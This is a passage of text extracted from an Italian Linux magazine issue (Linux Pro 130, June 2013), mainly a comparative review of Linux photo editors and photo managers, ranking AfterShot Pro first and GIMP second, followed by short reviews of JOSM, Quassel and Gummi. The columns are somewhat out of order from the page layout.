se includere o meno AfterShot Pro (prima chiamato Bibble) di Corel nel confronto. È un ottimo programma di modifica delle immagini rAW per Linux, ma è anche proprietario (closed-source) e non proprio economico, con i suoi 89,99 euro per la versione completa. È stato aggiornato dall’ultima volta che lo abbiamo recensito (più di un anno fa), quindi abbiamo deciso di rivisitarlo, a spese di una vera alternativa open Source. Suona sbagliato, ma è la cosa giusta da fare.

Test Confronto

Ritocco fotograficoDagli strumenti per manipolare i file RAW a semplici raccoglitori di fotografie, Linux ha fatto molta strada

∆ AfterShot Pro∆ GIMP∆ Shotwell∆ digiKam∆ Darktable∆ Fotoxx

LA noStRA SeLezIone

MoDALItà DeL teSt

È difficile confrontare direttamente il software qui presentato, in quanto è stato sviluppato indipendentemente per scopi diversi. i test di base, tuttavia, sono stati eseguiti sulle funzionalità basilari, per quanto possibile. Abbiamo provato ciascuna applicazione in diverse attività, come catalogare una libreria di diverse migliaia di immagini, gestire le sempre più popolari immagini di tipo rAW, modificare le foto in formato JpEG e operazioni comuni come ridimensionare una foto e applicargli dei filtri. non tutte le applicazioni qui presentate possono fare tutte le cose, ovviamente, e sebbene la ricchezza di funzionalità sia importante, quello di cui abbiamo tenuto conto è stata la velocità, la facilità d’uso e il risultato finale. Se è più veloce usare un’applicazione per salvare e organizzare le foto e utilizzarne un’altra per la modifica, per noi va bene.

“Il tempo in cui il nostro So non veniva preso seriamente per le immagini è un lontano ricordo”

LXP130_44-49_confronto 44 06/06/13 17:01

Page 47: Linuxpro 130 Giugno 2013

VerdettoAfterShot Pro

GIMP

Shotwell

digiKam

Darktable

Fotoxx

I programmi professionali non devono essere difficili da usare, motivo per cui AfterShot Pro vince su tutti.

Linux pro 130 45

Iprogrammi che abbiamo scelto sono utilizzabili da una vasta fascia di utenti, li abbiamo

inclusi per questo motivo, e nessuno di loro pecca di funzionalità. Abbiamo valutato il modo in cui ciascun programma si presenta e interagisce con gli utenti. Quindi se state cercando qualcosa di semplice per gestire le foto e rimuove gli occhi rossi, programmi disponibili nella vostra distribuzione, come digiKam e Shotwell dovrebbero sopperire alle vostre necessità senza problemi. Entrambi si focalizzano sulle cose essenziali per un gestore di foto, e sebbene abbiano un editor interno per le modifiche, non vi obbligano mai a utilizzarlo.Shotwell, in particolare, è pensato per la semplicità d’uso, con la stesso approccio minimalista che lo sviluppatore chiamato Yorba ha messo nell’eccellente client email Geary. Aprite il programma e avrete le vostre foto sulla destra, e le opzioni di ordinamento sulla sinistra, con poco altro nel mezzo. L’editor di immagini assomiglia a un applicazione mobile tanto è semplice, c’è anche un pulsante

Migliora/Enhance che abbellisce la foto prima di pubblicarla su un social network a vostra scelta.digiKam è d’altro canto più concreto e pieno di opzioni e funzionalità per sistemare le foto. È difficile, tuttavia, dire con esattezza a chi sia rivolto questo software. Lo strumento di gestione della libreria è eccezionale, permettendo di ordinare per data, tag e riconoscimento facciale e perfino un ricerca ‘fuzzy’ che cerca di confrontare forme generiche di una foto esistente: dovrete disegnare la forma che intendete cercare e digiKam proverà a trovarla.A parte i risultati strani che si ottengono a volte con la ricerca ‘fuzzy’ e con il riconoscimento facciale, digiKam può spaventare un po’ l’utente occasionale, e non soddisfare abbastanza quello professionista.AfterShot pro, come suggerisce il nome, è lo strumento giusto per veri fotografi. Ha una sofisticata gestione delle librerie, un buon editor di immagini e probabilmente il migliore strumento di sviluppo rAW di qualsiasi software su qualsiasi piattaforma. non è troppo costoso se lo mettiamo a confronto con il prezzo di Lightroom o Aperture, anche se non

è abbastanza economico per gli utenti comuni. Darktable è pensato per gestire solamente i file rAW, ma si adatta meglio, secondo la nostra opinione, agli utenti amatoriali piuttosto che a quelli professionisti. Ha un’incredibile numero di funzionalità e può fare tutto quello che fa AfterShop pro, ma è intriso della filosofia open Source ed è troppo personalizzabile per adattarsi facilmente in un serio flusso di lavoro. Lottare con ogni foto per farla apparire perfetta va bene quando si hanno solo due o tre foto da sistemare; non va bene se si devono processare centinaia di scatti in un giorno.GiMp, nel frattempo, travolge comunque l’utente novizio, sebbene abbia subito un restyling recentemente. Tuttavia non ha rivali nella modifica delle immagini, possiamo citare il pennello ‘clone’ e il controllo dei livelli, che mancano a tutti gli altri. È il coltellino svizzero per la modifica delle fotografie, sia se dovete solamente modificare gli scatti fatti con il telefonino sia se dovete preparare un artwork complesso per una campagna pubblicitaria.

Casual o professionaleA chi è rivolto il software? È facile da usare?

Molti di noi iniziano a gestire le immagini usando un comunissimo file manager

(come nautilus), magari organizzando il tutto in cartelle e sottocartelle. Alcuni di noi, poi, continuano a farlo per anni. perché complicarsi la vita, direte voi, quando cliccando sulla cartella ‘natale 2012’ sia nautilus che Dolphin ci presentano una lista di tutte le foto con le anteprime?Con un’unica eccezione, tutti i programmi qui presi in considerazione hanno una gestione integrata delle librerie di immagini. GiMp è un editor puro, e saggiamente rifugge dal voler fare troppe cose. i gestori di librerie di immagini sono il cuore pulsante

di Shotwell e digiKam ed entrambi fanno un ottimo lavoro. digiKam può ordinare gli scatti per ogni combinazione di cartelle, data e dati ExiF, anche i tag se volete; sebbene l’interfaccia possa essere un pochino confusionaria una volta che ci si allontana dalla gestione dei file. Shotwell è un po’ più limitato, in quanto ordina tutto secondo la data. può essere problematico se non avete avuto l’accortezza di associare i tag ai vostri scatti.AfterShot pro, invece, ha una funzione di libreria molto sofisticata che consente di ordinare le foto pressoché per qualsiasi parametro. Sfortunatamente, è affossato da questa importante funzionalità, in quanto non aggiorna

automaticamente le cartelle; in questo caso il navigatore di cartelle integrato è assai migliore. Questo è anche il motivo per cui il gestore di librerie fotografiche di Darktable riflette la struttura delle cartelle sul disco; una soluzione semplice che non confonde l’utente e consente all’applicazione di generare velocemente le miniature. Fotoxx mostra la sua stravaganza anche qui. Dovrebbe navigare le librerie di foto, ma assomiglia più a un file manager, in cui tra l’altro alcune operazioni semplici non sono ovvie, come tornare alla cartella precedente, per esempio.

Gestione delle fotografieMolte immagini da scegliere? Chi può aiutarvi?

VerdettoAfterShot Pro

GIMP

Shotwell

digiKam

Darktable

Fotoxx

Le librerie sono il modo migliore per navigare velocemente attraverso migliaia di fotografie.

Confronto Test

LXP130_44-49_confronto 45 06/06/13 17:01

Page 48: Linuxpro 130 Giugno 2013

InterfacciaAvete installato il programma. Quanto è facile da usare?

digiKamQuasi tutto è a distanza di un click in questo programma. Quando si apre c’è un gestore di librerie, e si possono riordinare le foto secondo titolo, data dello scatto, metatag, voto e molto altro ancora; oppure passare a un importatore di file rAW e un sottoprogramma di modifica foto. Questo rappresenta anche un problema, in quanto ci sono delle icone su entrambi i lati della struttura principale, e un sacco di controlli da ricordare. È perfetto per qualcuno che gestisce tantissime immagini e vuole rimanere dentro digiKam per fare tutto, ma se uno non va a utilizzare tutti i controlli è controproducente. in più le funzionalità più interessanti, come il globo terrestre per i geotag delle foto, hanno spesso problemi. il pannello per l’ordinamento in base alla data appare magnifico, ma è meno usabile di quello a cartelle di Shotwell. poiché è un’applicazione nativa KDE, è estremamente configurabile.

ShotwellAdesso che Google picasa non è più supportato su Linux, Shotwell è la cosa che più si avvicina a un gestore di librerie dedicato che si focalizza nell’aiutarvi a trovare velocemente le foto archiviate. Come impostazione predefinita organizza le immagini secondo l’arco temporale utilizzando una rudimentale timeline sulla destra, comunque più facile da utilizzare di quella presente in digiKam. potete vedere le foto per tag o in base alle informazioni ExiF, sebbene queste opzioni non siano intuitive e si debbano ricercare sotto il menu View (Visualizza in italiano). C’è un solo pulsante per sistemare le foto, inoltre è possibile pubblicare le foto e gli album fotografici su una vasta gamma di siti social, come Facebook o Flickr. Shotwell è semplice, ma non è elegante. L’icona rotonda usata per le cartelle e gli album è fuori posto, e la colonna di ordinamento sulla sinistra sarebbe potuta essere un po’ più curata.

AfterShot ProSe avete usato un programma per la manipolazione dei file rAW (come Lightroom), l’aspetto di AfterShot pro sarà immediatamente familiare ai vostri occhi. Sulla sinistra avete il browser, ovvero un file manager, un visualizzatore delle librerie di immagini e alcune impostazioni per filtrare e cercare gli scatti. nel mezzo c’è un tavolo luminoso digitale che mostra le miniature e ingrandisce le immagini per la modifica. Sulla destra, invece, ci sono tutti gli strumenti di modifica. Strutturato per essere sfarzoso, non è disegnato con un uso efficiente dello spazio. il nome e l’ordine dei strumenti, tuttavia, è ben architettato e la maggior parte delle foto possono essere modificate dal tab principale, con le opzioni più avanzate per lavori più duri a disposizione lì vicino. non è il più bello e forse nemmeno il più moderno, ma non appare ne’ vecchio ne’ antiquato nei paradigmi: gli strumenti si trovano facilmente.

46 Linux pro 130

VerdettoAfterShot Pro

GIMP

Shotwell

digiKam

Darktable

Fotoxx

Un certo livello qualitativo nella gestione del colore è la norma grazie al supporto integrato nel sistema operativo.

Test Confronto

tutti i contendenti, tranne Fotoxx, possono gestire gli spazi colore correttamente. Qualcuno potrebbe

pensare che non è una cosa importante, ma Linux ha fatto un balzo da gigante in questo aspetto. Questo significa che Linux può usare una gamma personalizzabile di colori, in accordo allo standard iCC (detto anche spazio colore), per alterare il modo in cui visualizza i colori in accordo alle caratteristiche univoche dello schermo, lo spazio colore della fotocamera e quello dell’immagine stessa (anche quello dello stampa). in genere quello della fotocamera è un profilo rGB

Gestione del coloreL’aspetto più importante dell’editing è ormai alla portata di tutti

standard, come srGB o Adobe rGB. Tutto questo è vitale per la modifica di immagini in modo professionale, in quanto significa che i colori sullo schermo sono una rappresentazione accurata di quello che verrà stampato. un grande ringraziamento va agli sviluppatori di GnoME per aver incluso un semplice calibratore di colori basato su Argyll (www.argyllcms.com) come pannello predefinito. È facile calibrare uno schermo con GnoME usando uno strumento come ColorVision Spyder, tanto quanto lo è con Windows. Lo stesso vale se si utilizza l’ambiente unity di Canonical, che usa lo stesso

strumento. KDE sta recuperando terreno, oryanos e KCM sono più o meno alla pari con gli strumenti di GnoME, ma richiedono un’installazione manuale da sorgenti, mentre la sola opzione per xFCE è lo strumento da console xcalib. Senza l’impostazione di uno di questi strumenti non c’è modo di avere una gestione del colore soddisfacente, in quanto il vostro schermo non sarà calibrato correttamente. i fotografi che non vogliono usare né GnoME né unity hanno tuttavia un’altra possibilità; Kubuntu include gli stessi strumenti di gestione del colore che sono inclusi con unity.

LXP130_44-49_confronto 46 06/06/13 17:01

Page 49: Linuxpro 130 Giugno 2013

Fotoxx C’è qualcosa che ricorda Windows 98 nell’interfaccia di Fotoxx che scoraggerà molti utenti nell’utilizzarlo. Sarebbe da dargli una possibilità, almeno per vedere le stravaganze implementate nell’interfaccia. È un sistema di gestione delle librerie che nasconde la sua funzione principale. Appena aperto appare uno schermo grigio che non fa assolutamente niente. Soltanto se siete degli osservatori attenti potrete notare un piccolo pulsante per navigare le ‘Gallery’ che apre il navigatore di cartelle con miniature che fa il suo dovere; tutto questo fino a quando non dovete salire di un livello. C’è una barra piena di pulsanti per la navigazione (e uno di questi torna appunto alla cartella principale). in ogni altro software un tale modo di nascondere le cose e confondere l’utente sarebbe un errore madornale, in Fotoxx tutto ciò contribuisce a renderlo, in maniera affascinante, un po’ retro’.

DarktableLa linea guida di Darktable sembra essere quella di prendere i tradizionali programmi di modifica rAW e semplificarli. in questo il programma ha un enorme successo. La visualizzazione delle librerie è semplice e diretta, e gli strumenti di modifica sono anch’essi molto lineari. C’è poi un lavoro certosino in ogni aspetto, anche nel logo, che ricorda una cinepresa e la maestosità di un lavoro silenzioso e nell’oscurità. Ma sebbene sembri semplice, Darktable è un po’ difficile da usare. i menu di modifica sono identificati da icone invece che da scritte, e comunque nominati in modo poco intuitivo. i controlli sono divisi tra quelli Basilari, quelli dei toni e quelli personalizzati dall’utente. Sfortunatamente alcuni degli strumenti più utilizzati non sono immediatamente disponibili, ma devono essere abilitati nel menu dei Plugin. Configurato a dovere Darktable è uno strumento efficiente per un buon flusso di lavoro. Ma per molti la curva di apprendimento è troppo alta.

GIMP Che cosa non è stato scritto su GiMp che potremmo aggiungere qui? Molti dei miglioramenti nella versione 2.8 sono nel motore di modifica delle immagini e nel framework per i plug-in. Tutto ciò porta a un’incredibile accelerazione hardware e il controllo dei colori in virgola mobile. L’interfaccia di base è la stessa di sempre, probabilmente pensata per intimidire i nuovi utilizzatori.Ci sono alcuni compromessi da accettare per coloro che hanno da ridire sulla facilità d’uso. La finestra a parte con le opzioni, completamente staccabile dal resto dell’interfaccia è un buon punto di partenza, e si possono disabilitare i suggerimenti all’avvio se non se ne ha bisogno. Ma GiMp permette facilmente di fare di tutto, come semplici modifiche nell’esposizione che, tramite una maschera, possono essere poi copiate e incollate da un’altra parte. La nostra unica lamentela sull’interfaccia è che il programma sembra si prenda una pausa di riflessione ogni volta che deve aprire un pannello.

Linux pro 130 47

VerdettoAfterShot Pro

GIMP

Shotwell

digiKam

Darktable

Fotoxx

I programmi per Linux sono estendibili tramite plug-in. Tutti tranne Fotoxx.

Confronto Test

non esiste l’editor di fotografie perfetto, ma sicuramente quello che separa uno amatoriale

da uno professionale è il supporto alle estensioni che aggiungono funzionalità, o che aggiungono una macro per applicare un filtro particolare sull’immagine. plug-in che aumentano il contrasto e virano i colori in maniera fantasiosa esistono per Photoshop da molto tempo prima che Instagram nascesse.GiMp, per esempio, ha una vasta e affermata libreria di plug-in, incluso uno che cambia l’interfaccia per farla

Plug-inPuoi modificare le immagini? Cos’altro puoi fare?

assomigliare a quella di photoshop. Fotoxx, invece, tratta i plug-in semplicemente tramite un comando nel menu che lancia un’applicazione esterna. Shotwell e digiKam hanno di default molti dei plug-in più comuni già installati; tra l’altro diversi plug-in consentono di accedere/pubblicare su social network di fotografia senza lasciare il programma. nella nomenclatura di Darktable ciascuna funzione e configurazione è un plug-in. È molto flessibile, in quanto consente di aggiungere molto di più rispetto alle funzioni standard, eccetto che,

al momento, non esistono plug-in amatoriali da installare. Se Darktable dovesse ritagliarsi una fetta consistente di utenti, i plug-in non tarderanno ad arrivare. Quando AfterShot pro era conosciuto come Bibble c’era una comunità entusiasta di sviluppatori che creavano plug-in, sia gratuiti che a pagamento. La buona notizia è che sia i plug-in che la comunità sono stati mantenuti quando Corel ha acquisito il progetto, e il forum è pieno di pacchetti amatoriali per il geotagging, effetti ottici e in generale qualsiasi filtro vogliate sulle immagini.

LXP130_44-49_confronto 47 06/06/13 17:01

Page 50: Linuxpro 130 Giugno 2013

48 Linux pro 130

un po’ fiacco nel gestire i livelli delle immagini, quindi preferirete sicuramente utilizzare GiMp per modifiche di un certo tipo. Darktable, invece, è velocissimo nel gestire le piccole anteprime, ma una volta che iniziate ad aggiungere i livelli diventa incredibilmente lento, come se girasse su un datato Windows 95. persino ingrandire un’immagine richiede troppo tempo (e manca pure uno slider per scegliere di quanto ingrandire). il trionfo per l’ultima versione di GiMp è il supporto ai processori multi-thread e alle openCL per l’accelerazione tramite la Gpu della scheda grafica. il risultato è che nulla appare come un lavoro di routine in GiMp 2.8, a patto che si sappia cosa si sta facendo.

Isensori delle fotocamere stanno diventando sempre più grandi e a molti di noi, poi, piace

scattare in formato rAW. La banda internet disponibile non è più un problema, quindi si tende a caricare le foto ad alta risoluzione. in più vengono scattate molte più foto rispetto a prima. Le dimensioni dei file non stanno diventando più piccole, e le raccolte di immagini si stanno espandendo velocemente. Quindi i programmi di ritocco fotografico si trovano alla prova del nove: devono essere più efficienti solo per sembrare veloci come lo erano in passato.Con l’eccezione di Fotoxx, tutti i nostri software sono multi-thread e possono avvantaggiarsi dei processori con più core; digiKam

Prestazionie Shotwell sono sorprendentemente veloci nel gestire raccolte con molte foto e nell’aiutarvi a trovare velocemente lo scatto che cercate. Tuttavia non sono perfetti: Shotwell sembra abbia qualche bug e ogni tanto si blocca inaspettatamente, mentre l’interfaccia di digiKam è spesso l’elemento che crea più ostacoli all’utente. Aprire un file rAW, per esempio, significa andare attraverso una finestra di importazione tediosa e vecchio stile invece di andare direttamente in quella di modifica della foto. il nostro editor di file rAW preferito rimane AfterShot pro che è incredibilmente veloce nel catalogare e modificare i file, e pensato per adattarsi al massimo in un buon flusso di lavoro. Tuttavia è ancora

Le funzionalità stravaganti sono interessanti, ma permettono di operare velocemente?

VerdettoAfterShot Pro

GIMP

Shotwell

digiKam

Darktable

Fotoxx

Il multi-thread è importante, ma non è l’unico fattore.

Test Confronto

C i sono due domande da porsi a questo punto. Qual è la qualità della foto finale?

E cosa è possibile farci? GiMp non ha ancora un supporto per la gestione con precisione a 16 bit delle foto, un problema per i fotografi professionisti che vogliono stampare le foto. È inoltre molto fastidiosa l’insistenza del programma a far usare il formato ‘.xcf’. in GiMp 2.8 ci sono stati molti miglioramenti, a parte la decisione di rimuovere tutti gli altri formati dei file dal menu Salva e spostarli nel menu esporta. Ci sono delle ragioni logiche in questa scelta, ma ciò non toglie che per aprire e salvare una semplice immagine JpG vengono aggiunte due finestre di salvataggio nel programma.DigiKam, invece, ha un approccio diametralmente opposto sui formati delle immagini, è inoltre ben disposto a caricare e scaricare fotografie da diversi social network. Alcuni dei plug-in sono un po’ instabili, e le possibilità di aggiungere tag e metadati è un po’ aleatoria. Shotwell ha pochi plug-in a disposizione, ma tutti i principali social network sono coperti adeguatamente. pur lavorando

Salvataggi Avete finito di modificare le foto. In che formato le salvate?

sui rAW, AfterShot pro ha una sorprendente gamma di opzioni di salvataggio. non ci sono dei plug-in per la condivisione nei Social network, ma è possibile generare TiFF a 16-bit in termini di qualità oppure salvare direttamente in gallerie Web preconfezionate. Questo significa che non è necessario alcun editor esterno per portare perfettamente le foto dalla fotocamera alla pubblicazione. non senza qualche intoppo: la finestra di dialogo è troppo complicata, si possono aggiungere effetti, ma senza n’anteprima sulle foto. nell’ultimo aggiornamento del programma gli sviluppatori hanno sistemato uno dei difetti più grandi: il bilanciamento del colore è più naturale e con meno contrasto rispetto alle versioni precedenti. Quindi è semplice ottenere dei buoni risultati già al primo tentativo.Questo ci porta al programma con le pecche maggiori, Darktable, che, a differenza della sua

apparente semplicità di interfaccia, è risultato quello più complicato da usare e quindi quello che incrementa le possibilità di fare degli errori. non è possibile, infatti, salvare un’immagine direttamente dopo la modifica; una volta fatte le modifiche, si deve tornare alla visualizzazione delle anteprime, selezionare l’immagine e quindi la voce di menu per esportarle. Si accorderà con alcune inusuali metodologie di lavoro, ma risulta scomodo per tutte le altre. in termini di qualità delle immagini Darktable è capace degli stessi risultati di AfterShot pro, se siete in grado di padroneggiare i suoi controlli.

VerdettoAfterShot Pro

GIMP

Shotwell

digiKam

Darktable

Fotoxx

Molti dei programmi danno all’utente tutto ciò di cui ha bisogno, ma a volte non facilmente come ci si aspetterebbe.

digiKam permette all’utente di esportare le immagini in differenti formati e può caricare e scaricare fotografie da diversi social network

LXP130_44-49_confronto 48 06/06/13 17:01

Page 51: Linuxpro 130 Giugno 2013

Linux pro 130 49

Confronto Test

Considerazioni finali

Il verdettodi digiKam può farvi uscire di testa. il miglior compromesso per chi scatta sempre in rAW è di usare Shotwell per la gestione delle immagini e AfterShot pro o Darktable per poi svilupparle. per il fotografo occasionale, invece, digiKam funziona stupendamente sia su KDE sia su GnoME, sebbene qualcuno finirà per coprire due terzi delle icone con del nastro isolante... Mentre gli strumenti di editing di Shotwell sono troppo semplici per molti, digiKam ha un approccio completamente differente. E questo ci porta inevitabilmente a GiMp.

Una cosa di cui non abbiamo parlato è la qualità delle immagini. GIMP rimane l’unico

strumento serio per un lavoro a tutto tondo; Darktable se la gioca con AfterShot Pro, ma fa fatica senza una Cpu potente dietro. per concludere non c’è uno strumento che fa tutto, e sebbene ciascuna applicazione cerchi di prendersi cura di tutte le foto sull’hard disk, tutte falliscono miseramente. La gestione delle raccolte di foto di AfterShot pro è troppo pesante per un utilizzo giornaliero (soprattutto se iniziate a scorrere molte foto), mentre lo sviluppo rAW

per i professionisti, ma è più che adeguato per la maggior parte degli utilizzi. E AfterShot pro? Ci duole ammetterlo, ma questo è il prodotto di una grossa azienda con una elevata quantità di risorse (tecnologiche, umane e conoscitive) disponibili. Soltanto GiMp si avvicina al suo livello di cura dell’interfaccia e a una esecuzione pressoché libera da bug. ovviamente costituisce un piccolo micro-mondo a sé nel panorama open Source, e continuiamo a ringraziare Corel per il continuo supporto a Linux come piattaforma per i suoi programmi. Fotoxx è straordinariamente stravagante, e ha una quantità di funzionalità interessanti per un’applicazione che sembra così semplicistica all’inizio. purtroppo non è ancora abbastanza maturo per poter competere con i grandi nomi del settore.

non c’è carenza di alternative da provare per il fotoritocco, anche se già con i programmi presentati si può avere un certo grado di successo. per modifiche semplici, ci sono i classici programmi di disegno, come Pinta, GnU Paint, KolorPaint, eccetera, ma perché utilizzare questi programmi, visto che la loro funzione principale è quella di ridimensionare/convertire gli scatti? Se volete provare qualcosa di più potente, c’è Rawtherapee, che è personalizzabile come Darktable per lavorare, tuttavia, sulle immagini rAW. Tra i precedenti favoriti che meriterebbero una rivisitazione c’è il portentoso F-Spot di GnoME, la cui popolarità è un po’ in calo, ma che potrebbe risorgere a nuova vita.

Considerate anche...Forse il programma più trascurato di tutti, però, è Krita, il programma di disegno basato su KDE. È orientato piuttosto alla creazione di artwork e alla rimozione degli occhi rossi, ma supporta spazi di colore a 16-bit e ha tonnellate di funzionalità avanzate da provare (se vi sentite coraggiosi abbastanza). La vera competizione si sta spostando sulle applicazioni online. Adesso che molti siti includono strumenti base di modifica per le foto, e si affaccia sulla scena Pixlr (www.pixlr.com), che utilizza la velocità e flessibilità dell’HTML5, perché modificare le foto sul vostro computer? Al giorno d’oggi poi molti strumenti salvano i file direttamente online, il passo per modificare le foto ‘in the cloud’ è dietro l’angolo. LXP

Che rimane, dopo tutti questi anni, l’unica vera scelta per la manipolazione leggera o pesante di immagini; un’opportunità mancata per gli altri software. L’unico programma che può sopravvivere senza le sue capacità di fotoritocco è AfterShot pro, e anche in questo caso è facile ripiegare su GiMp di tanto in tanto per ritocchi più elaborati. non c’è un modo solo per fare le cose in Linux, ma ci sentiamo di dire che chiunque debba modificare delle fotografie dovrebbe avere GiMp installato. La mancanza della gestione del colore a 16-bit porta a delle limitazioni

AfterShot Pro 1°

GIMP 2°Web: www.gimp.org

Gli aggiornamenti in GiMp sembrano piccoli, ma rappresentano grandi passi nella modifica di immagini.

Shotwell 4°Web: www.yorba.org

Gestore predefinito in GnoME, ha tutte le funzionalità al posto giusto. Manca di un po’ di rifiniture.

Web: www.aftershotpro.com

Ci duole molto dirlo, ma il programma proprietario AfterShot pro rappresenta lo standard di riferimento. Se preferite un programma libero, c’è GiMp.

digiKam 3°Web: www.digikam.org

potente e professionale, digiKam gestisce brillantemente le librerie di immagini.

Darktable 5°Web: www.darktable.org

Tutto ciò che serve per lo sviluppo di foto, ma lento per modifiche ‘di massa’.

Fotoxx 6°Web: www.kornelix.com/fotoxx.html

Eccentrica e promettente alternativa a Shotwell, ma richiede maggiore maturità.

LXP130_44-49_confronto 49 06/06/13 17:01

Page 52: Linuxpro 130 Giugno 2013

50 Linux pro 130

Test Da non perdere

JoSM

Quando si parla di software “free” di solito si è tutti contenti.

il problema è che spesso la denominazione “free” non denota una possibilità di libertà e condivisione, piuttosto si riferisce alla gratuità del software o servizio in questione. prendete Google Maps, per esempio: un servizio davvero eccelso,

ricco di informazioni utili e immagini satellitari ottime e normalmente molto accurate. Eppure, nonostante l’utilizzo sia gratuito, non si può defi nire il servizio completamente “libero”, nel senso che comunque la proprietà esclusiva rimane nelle mani di Google, con tutto quel che questo comporta. Ciò vi impedirà, ad esempio, di usarne i contenuti

per creare un vostro servizio o nel migliore dei casi ci sarebbe da essere molto cauti con tutto ciò che riguarda la privacy, il diritto d’autore e le pubblicità. per ovviare a questi problemi esistono progetti come openStreetMap, che potrebbe essere defi nita l’alternativa “libera” a Maps. L’idea è di creare un progetto collaborativo che punti a realizzare una mappa del mondo completamente gratuita e senza vincoli di utilizzo, senza restrizioni imposte da interessi aziendali o modelli di business. Se lo sviluppo, però, è in mano alla comunità, cosa succede quando si vuole correggere un errore o apportare il proprio contributo? in qualche modo si dovrà pur accedere ai contenuti per modifi carli ed ecco dove entra in gioco JoSM. Questa applicazione Java è in grado di farvi modifi care la mappa offl ine, grazie ai dati nella vostra cache oppure reperendo mappe online a seconda del bisogno. nonostante la schermata possa sembrare complicata a una prima occhiata, presto tutto acquisirà senso dopo un po’ di sperimentazione. potrete infatti modifi care le strade, rimodellandole, aggiungere nuovi oggetti (come negozi o ristoranti) e cambiarne le proprietà. Tra l’altro usando JoSM si scopre la vastità e complessità del progetto openStreetMap; ad esempio pescando a caso tra le strade di Vienna, se proverete a selezionare una linea dei tram, potrete verifi carne la portata e la tensione. impressionante! JoSM dal canto suo è altrettanto ricco di funzionalità ed è diffi cile renderne giustizia in una breve recensione. Quel che si può dire che è se vi interessa anche solo un po’ vedere l’effetto che fa essere un cartografo o semplicemente consultare mappe satellitari, dovreste installarlo. il sistema di aiuto incluso (accessibile via F1) non sarà infallibile e onnicomprensivo ma riesce comunque a essere effi cace. ora non vi resta che controllare se il vostro quartiere è stato mappato a dovere oppure darvi da fare in modo che lo sia.

Editor di mappe OSM

In questa rubrica recensiamo i programmi più interessanti che si possono trovare in Rete. Ogni mese navighiamotra le migliaia di progettiOpen Source che nasconoo si aggiornano e selezioniamo i più nuovi, i più innovativi e quelli che possono tornare più utili per l’uso quotidiano di una Linux box. La maggior parte delle applicazioniprovate si trovano nel nostro DVD, ma ne forniamo anche gli indirizzi Internet così che ogni lettore possascaricare le versioni future.Se volete segnalare un vostro progetto o un programma Open Source che avete trovato in Rete e ritenete interessanteper la maggior parte dei lettori, inviate una mail all’[email protected]

FREE SOFTWARE

∆ VERSionE 5939 ∆ WEB http://josm.openstreetmap.de

QUESTO MESE...JOSM 50Quassel 51Gummi 51Onboard 52Pinta 52Gource 53Easystroke 53JVGS 54Blobby Volley 2 54

50

L’interfaccia di JoSM

Pannello di lavoroutilizzate la rotellina del mouse per gestire lo zoom e il drag&drop per spostarvi.

StrumentiQui potrete selezionare quale pannello visualizzare o nascondere.

LivelliLa vista base è una sorta di mappa in vettoriale ma potrete aggiungere livelli a piacere per arricchirla, comprese le mappe satellitari.

ProprietàSelezionando un oggetto potrete modifi carne le proprietà.

SelezioneQui viene indicata la posizione di uno o più oggetti (premendo Shift si fa la multiselezione).

Registro dei comandiLista cronologica dei comandi appena effettuati.

Praticamente tutta l’interfaccia di JoSM è personalizzabile, nelle opzioni troverete davvero di tutto

LXP130_50-54_danonperdere 50 06/06/13 14:48

Page 53: Linuxpro 130 Giugno 2013

Linux pro 130 51

Da non perdere Test

Nonostante l’enorme quantità di client irC disponibili, è sempre bello provare le nuove

proposte quando ce ne sono, soprattutto se offrono funzionalità peculiari o innovative. proprio come per gli editor di testo, ognuno ha le proprie preferenze al riguardo. Alcuni preferiscono avere un software ultra-flessibile con plug-in per ogni funzionalità, mentre altri preferiscono qualcosa di più semplice che non distragga dalla conversazione. Quassel è un client irC che offre le classiche funzionalità dei suoi simili (connessione a server multipli, colori del testo personalizzabili,

lista di notifica e lista nera e altro) con due aggiunte degne di nota. oltre alle due particolarità che verranno esposte tra alcune righe, vale la pena sottolineare che il software è scritto in Qt nativamente multipiattaforma,

pronto per Linux, Windows e Mac oS x. il programma pesa solo 10 MB ma, in caso non abbiate QT4 o le librerie di KDE già

∆ VERSionE 0.9.0 ∆ WEB http://quassel-irc.org

QuasselClient IRC

G li elaboratori di testo sono attualmente tra i programmi più incasinati in assoluto. Se vi fermate

un attimo a pensare a quale dovrebbe esserne la funzione principale, risulta chiaro che dovrebbe essere la scrittura del testo. Eppure ormai gli elaboratori di testo offrono talmente tante funzionalità da essere confusi con applicazioni ben più complesse come quelle di pubblicazione di contenuti editoriali. inizialmente non era così e come la filosofia unix suggerisce, servirebbe un tool per ogni compito specifico: Emacs, Vim o il vostro editor di testo per scrivere e sistemare le parole e poi un altro software con un linguaggio specifico per la formattazione per scegliere come visualizzare il testo. L’antico TeX e il suo più diffuso successore LaTeX sono ben conosciuti per questo utilizzo nel mondo unix. Esistono già degli editor

WYSiWYG atti a generare il codice LaTex per voi, ma sarebbe decisamente meglio capire e sapere interpretare cosa sta succedendo dietro le quinte, un po’ come usare un editor Web tipo DreamWeaver o mettere le mani direttamente nel codice HTML. Gummi risveglierà l’interesse di più di un lettore nell’apprendimento di LaTex con i suoi punti forti: semplicità di utilizzo, niente fronzoli e un’interfaccia chiara e immediata. Sulla sinistra della finestra principale si può trovare il pannello con il codice LaTex mentre sulla destra c’è un’anteprima del risultato (generata automaticamente dopo un breve intervallo). inoltre, gli sviluppatori hanno decisamente azzeccato un paio di punti, per esempio l’editor ha l’evidenziazione della sintassi inclusa così che il vostro cervella riesca a tenere separato il testo

∆ VERSionE 0.6.5 ∆ WEB http://bit.ly/TnLSms

GummiEditor LaTeX

dal codice LaTex; è poi presente il controllo ortografico e una serie di snippet di testo di utilizzo comune; inoltre gli errori nel codice vengono visualizzati in un evidente rosso acceso che ne rende facile l’individuazione. Tra le altre funzioni va anche annoverato il supporto a Bibtex e Synctex. È anche possibile esportare direttamente da Gummi in pDF. Ma quel che più colpisce di Gummi è la prima partenza dopo un’installazione nuova. il software si aprirà con un breve esempio di codice LaTex invece

del classico documento vuoto. Questo approccio è perfetto per permettere ai novizi di muovere i primi passi e capire come funziona questa tecnologia molto spesso pubblicizzata come oscura e complessa. Altro tocco molto utile ai novellini è la barra nella parte alta che offre le più comuni funzionalità di formattazione. per sfruttare al meglio il programma avrete comunque bisogno di imparare LaTex, ma Gummi costituisce un ottimo trampolino di lancio in questa avventura.

pronte, preparatevi a essere sommersi da una valanga di dipendenze. La prima feature da sottolineare è il “core” indipendente. A differenza di molti altri client irC che rimangono connessi fintanto che l’applicazione è aperta nel vostro desktop (magari attraverso l’iconcina dell’area di notifica), Quassel, volendo, può dividere i compiti in due parti. infatti eseguendo quasselcore, viene avviato un processo in background che mantiene la connessione anche

